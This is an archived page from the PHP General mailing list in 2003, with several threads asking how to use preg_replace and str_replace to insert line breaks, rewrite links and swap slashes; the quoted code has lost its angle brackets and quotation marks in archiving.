- Original Message - 
From: Armand Turpel [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Saturday, September 20, 2003 8:21 AM
Subject: [PHP] preg_replace question


 I need the following replace function:
 Replace all line breaks to br but not if a line break comes after an
/h1
 or /h2 or   /hx


 Currently I use this preg_replace but it's not good enough for all
 situations.

 $text = preg_replace(/([^\][^\/][^h][^1-9].{1})\r\n/,\\1br
/,$text);


 

 Thanks

 -- 
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace question

2003-09-20 Thread Armand Turpel
Hi Jim ,
The problem with your proposition is that the preg_replace do not replace
/h1\r\n  to  /h1br / 
thats good,
but also not this:
testh4\r\n

and thats not what I expect from.


atur






- Original Message - 
From: Jim Lucas [EMAIL PROTECTED]
To: Armand Turpel [EMAIL PROTECTED]; [EMAIL PROTECTED]
Sent: Saturday, September 20, 2003 5:37 PM
Subject: Re: [PHP] preg_replace question


 $arr = array(/([^\][^\/][^h][^1-6].{1}[^\])\r\n/,
  /([^\][^\/][^h][^1-6].{1}[^\])\r/,
  /([^\][^\/][^h][^1-6].{1}[^\])\n/,
  );
 
 $text = preg_replace($arr,\\1br  /,$text);
 
 you might try this and see how well it works.
 
 Jim Lucas
 
 
 - Original Message - 
 From: Armand Turpel [EMAIL PROTECTED]
 To: [EMAIL PROTECTED]
 Sent: Saturday, September 20, 2003 8:21 AM
 Subject: [PHP] preg_replace question
 
 
  I need the following replace function:
  Replace all line breaks to br but not if a line break comes after an
 /h1
  or /h2 or   /hx
 
 
  Currently I use this preg_replace but it's not good enough for all
  situations.
 
  $text = preg_replace(/([^\][^\/][^h][^1-9].{1})\r\n/,\\1br
 /,$text);
 
 
  
 
  Thanks
 
  -- 
  PHP General Mailing List (http://www.php.net/)
  To unsubscribe, visit: http://www.php.net/unsub.php
 
 
 
 
 


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace question

2003-09-20 Thread Armand Turpel
Finaly I got the solution.

Replace all line breaks by br / but not after a html headline
(h1../h1)

$text = preg_replace(/(?!h[1-6]\)\r\n/,\\1br /,$text);



- Original Message - 
From: Armand Turpel [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Saturday, September 20, 2003 7:34 PM
Subject: Re: [PHP] preg_replace question


 Hi Jim ,
 The problem with your proposition is that the preg_replace do not replace
 /h1\r\n  to  /h1br /
 thats good,
 but also not this:
 testh4\r\n

 and thats not what I expect from.


 atur






 - Original Message - 
 From: Jim Lucas [EMAIL PROTECTED]
 To: Armand Turpel [EMAIL PROTECTED]; [EMAIL PROTECTED]
 Sent: Saturday, September 20, 2003 5:37 PM
 Subject: Re: [PHP] preg_replace question


  $arr = array(/([^\][^\/][^h][^1-6].{1}[^\])\r\n/,
   /([^\][^\/][^h][^1-6].{1}[^\])\r/,
   /([^\][^\/][^h][^1-6].{1}[^\])\n/,
   );
 
  $text = preg_replace($arr,\\1br  /,$text);
 
  you might try this and see how well it works.
 
  Jim Lucas
 
 
  - Original Message - 
  From: Armand Turpel [EMAIL PROTECTED]
  To: [EMAIL PROTECTED]
  Sent: Saturday, September 20, 2003 8:21 AM
  Subject: [PHP] preg_replace question
 
 
   I need the following replace function:
   Replace all line breaks to br but not if a line break comes after an
  /h1
   or /h2 or   /hx
  
  
   Currently I use this preg_replace but it's not good enough for all
   situations.
  
   $text = preg_replace(/([^\][^\/][^h][^1-9].{1})\r\n/,\\1br
  /,$text);
  
  
   
  
   Thanks
  
   -- 
   PHP General Mailing List (http://www.php.net/)
   To unsubscribe, visit: http://www.php.net/unsub.php
  
  
 
 
 
 

 -- 
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php





-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace question

2003-08-17 Thread Jean-Christian IMbeault
[EMAIL PROTECTED] wrote:
 Then use a simple strstr to first find out if the string does contain 
 mydomain.com :-)

My example was a simple one. I can't just check to see if the string
contains the mydomain.com first because I am not passing a string to
preg_replace but a whole text file.

I want preg_replace to replace all occurrences in the text file of the
regexp:

 #a href=(\|')http://([^\']+)(\|')#ime

But only if the regexp doesn't contain http://www.mydomain.com.

How can I get preg_replace to ignore instances of
http://www.mydomain.com when it is doing it's global search and replace?

Thanks,

Jean-Christian Imbeault


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace question

2003-08-16 Thread [EMAIL PROTECTED]
Then use a simple strstr to first find out if the string does contain 
mydomain.com :-)

Jean-Christian IMbeault wrote:

I found this nice preg_replace function that replaces all occurrences 
of an HTML anchor (a href=...) with a link to another PHP script that 
log the link and then sends the user on his merry way to the the 
appropriate page/site:

preg_replace(
  #a href=(\|')http://([^\']+)(\|')#ime,
  'a href=\/exit.php?url=.base64_encode(\'\\2\').\',
  $originalLink
);
I'd like to modify this expression so that it does the same thing but 
*only* if the link is not to a specific page. I.e. I would like to 
replace all links *unless* the link was to, for example, 
www.mydomain.com.

How can I achieve this with a regexp? I'm not very good at 'negative' 
regexp ...

Thanks,

Jean-Christian Imbeault




--

Raditha Dissanayake
-
http://www.radinks.com/sftp/
Lean and mean Secure FTP applet with Graphical User Inteface.
just 150 Kilo Bytes


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


RE: [PHP] preg_replace - understanding

2003-07-09 Thread Ford, Mike [LSS]
 -Original Message-
 From: Jennifer Goodie [mailto:[EMAIL PROTECTED]
 Sent: 09 July 2003 00:43
 
  $filevalue = str_replace(\\, /, $filevalue);
 
  it is reversing the \\ to // but not replacing them 
 with just a single
  /.
 
 I think you need to escape your \ so each \ is \\ so your 
 string should be
 

Or use single quotes for your strings:

  $filevalue = str_replace('\\', '/', $filevalue);

Cheers!

Mike

-
Mike Ford,  Electronic Information Services Adviser,
Learning Support Services, Learning  Information Services,
JG125, James Graham Building, Leeds Metropolitan University,
Beckett Park, LEEDS,  LS6 3QS,  United Kingdom
Email: [EMAIL PROTECTED]
Tel: +44 113 283 2600 extn 4730  Fax:  +44 113 283 3211

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace - understanding

2003-07-08 Thread Micah Montoy
I took a look at the str_replace function and it will work but I am getting
a weird thing happening now.  When I do:

$filevalue = str_replace(\\, /, $filevalue);

it is reversing the \\ to // but not replacing them with just a single
/.

What may be causing this?

thanks


Kevin Stone [EMAIL PROTECTED] wrote in message
news:[EMAIL PROTECTED]

 - Original Message -
 From: Micah Montoy [EMAIL PROTECTED]
 To: [EMAIL PROTECTED]
 Sent: Tuesday, July 08, 2003 4:01 PM
 Subject: [PHP] preg_replace - understanding


  I'm trying to understand how the code works within the preg_replace
 function
  but the manual is just obscure as the examples are.  Anyway, I am
looking
 to
  use it to replace \\ in a string with / and I can not figure how
how.
  At first, I thought I could just do:
 
  $filevalue = preg_replace('\\', /, $filevalue);
 
  but it doesn't do anything.  If someone could relate what it is and what
 the
  parts mean between the (), I would appreciate it.
 
  thanks

 You're not using the function correctly.  You've got the search string and
 replace string tied up into one input there.  They need to be separate.

 $filevalue = preg_replace('\\', '/', $filevalue);
 http://www.php.net/manual/en/function.preg-replace.php

 However you should consider using the str_replace() function in your case
 since you aren't doing any pattern matching and it's a lot faster than
 preg_replace().

 $filevalue = str_replace('\\'. '/', $filevalue);
 http://www.php.net/manual/en/function.str-replace.php

 --
 Kevin





-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



  1   2   >